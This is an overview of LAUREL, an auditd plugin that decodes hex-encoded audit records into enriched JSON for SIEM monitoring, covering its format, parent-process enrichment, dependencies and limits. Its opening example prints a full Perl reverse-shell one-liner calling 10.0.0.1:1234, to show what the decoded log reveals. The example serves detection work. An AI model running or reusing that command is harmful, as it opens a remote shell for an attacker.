LAUREL: turning auditd's hex payloads into JSON a SIEM can read

What auditd gives you and what LAUREL gives you

LAUREL is an event post-processing plugin for auditd that generates useful, enriched JSON-based audit logs suitable for modern security monitoring setups. The raw output it exists to replace looks like this.

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…

The same event in LAUREL's JSON form makes the payload readable, because the hex-encoded argument is decoded and the arguments become an array of strings rather than an opaque blob.

{ … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}

That difference is the whole value proposition. A reverse shell passed as a command line argument is visible at a glance instead of requiring an analyst to decode a hex string by hand.

Enrichment happens on the host, not in the SIEM

The reason LAUREL does what a log forwarder cannot do is placement. It runs on the host where the audit events are generated, and the events are enriched with useful information about the parent process, the ppid.

"PPID":{"EVENT_ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}

So every event carries the identity of the process that spawned it, along with its own event id, its command name and the path to its executable. That is the field a detection engineer reaches for when a benign-looking binary turns out to have been launched by something else, and the field is not present in the raw audit record at all. Fetching it later, after the fact, from a log archive, is not the same thing: the parent may have exited, and the information has to be joined from somewhere else. LAUREL resolves it while the process tree is still alive, and attaches it to the event that caused the lookup.

The manual pages are where the operational detail lives

The documentation is organised as manual pages, which is the right shape for a tool that ends up on hosts you will not be able to inspect easily. The laurel(8) page covers configuration and operational details. The laurel-about(7) page covers the log format and the reasoning behind it, which is where you would look to understand why a particular field is shaped the way it is. The laurel-audit-rules(7) page contains advice and examples for configuring audit rules useful for detecting attackers' tactics, and that page is the one that matters most in practice, because auditd only records what the rules ask for. The INSTALL.md file has instructions for building LAUREL from source and for installing and configuring it. There is also a performance.md document with a performance.svg chart, and the README says the project exists because the authors were not content with the feature sets and performance characteristics of existing projects and products.

The Rust implementation and what it depends on

The package is Rust with edition 2021 and a rust-version of 1.70, and the dependency list reads like a description of what the tool does. The parsing core is linux-audit-parser at 0.2.6, which handles the kernel's audit record format. The nix crate with the user, fs, time, process and signal features provides the process information that the ppid enrichment needs, and libc and signal-hook cover the low-level interface. serde and serde_json with the preserve_order feature produce the JSON, and indexmap with serde is what makes preserve_order possible, so the field order in the output is stable. The regex crate with the perf and unicode features, aho-corasick and memchr cover the pattern matching, and tinyvec with alloc and serde is used where a small vector avoids an allocation. exacl is the extended attribute library, ipnetwork handles address ranges, and sha2 with faster-hex handles hashing.

Configuration parsing, logging and errors

The configuration is TOML, pulled in with the parse, display and serde features and without the default features. Error handling is split in two, which is a pattern worth noting: thiserror for the typed errors the crate defines itself, and anyhow for the error contexts that bubble up from lower layers. Logging goes through the log facade with a simple_logger backend writing to stderr, and syslog is a dependency, so the tool can also report into the system log where an audit pipeline will not read it. The crate declares the encoding category on crates.io, which is a hint that the output format is the thing most people come for, and a build-dependencies section on bindgen, which is there to generate bindings for the audit interface.

Benchmarks, packaging and the deployable artefacts

The project takes its performance claims seriously enough to benchmark them in the repository. The benches directory holds the benchmarks, and the manifest declares a benchmark named coalesce_execve with the harness disabled, which is the operation that matters most: coalescing the arguments of a single execve call. The benchmarking tool is divan, and gperftools is a development dependency for profiling. Beyond the benchmarks there are two deployment artefacts in the repository listing. The Containerfile packages the tool for containerised deployment, and the contrib directory holds deployment material, and the etc directory holds example configuration. There is also a .cargo directory, which is where per-project Cargo configuration such as build flags and aliases lives, and a build.rs, the build script that runs bindgen.

Where LAUREL is the wrong choice

Four limits apply. It is a Linux tool by construction, since it parses the kernel audit format and calls into the audit subsystem, so there is no portability to other operating systems. It sits downstream of auditd, so it cannot tell you what the kernel never recorded, and the audit rules page exists precisely because the useful events are the ones you have to ask for. It runs on the host, which means every host you monitor needs the binary, the configuration and the rights to read the audit stream, and the same package has to be deployed to a fleet you may not fully control. And the output is a schema, so a SIEM integration is a contract: if the field layout changes between versions, the parsing rules on the other side have to change with it, and the documentation for the latest stable release is versioned alongside the tag, which is the reminder that the format is tied to a release.

Editorial conclusion

Use LAUREL when you forward Linux audit records to a SIEM and the raw auditd format defeats your parsing, because the plugin does the hex decoding and the process enrichment on the host rather than asking your SIEM to understand kernel audit encoding. Do not treat it as a replacement for auditd, since it sits downstream of the audit subsystem and cannot record what auditd never captured. Verify first that your audit rules produce the events you need, because the manual page on audit rules is where the project tells you which rules to configure for detecting attacker tactics, that your kernel exposes the process information LAUREL enriches with, since the enrichment is the part that needs a working ppid chain, and that the JSON schema you parse downstream matches the version you deploy.

Frequently asked questions

Official sources

1. Issues
2. License: GPL-3.0
3. README
4. Releases
5. threathunters-io/laurel on GitHub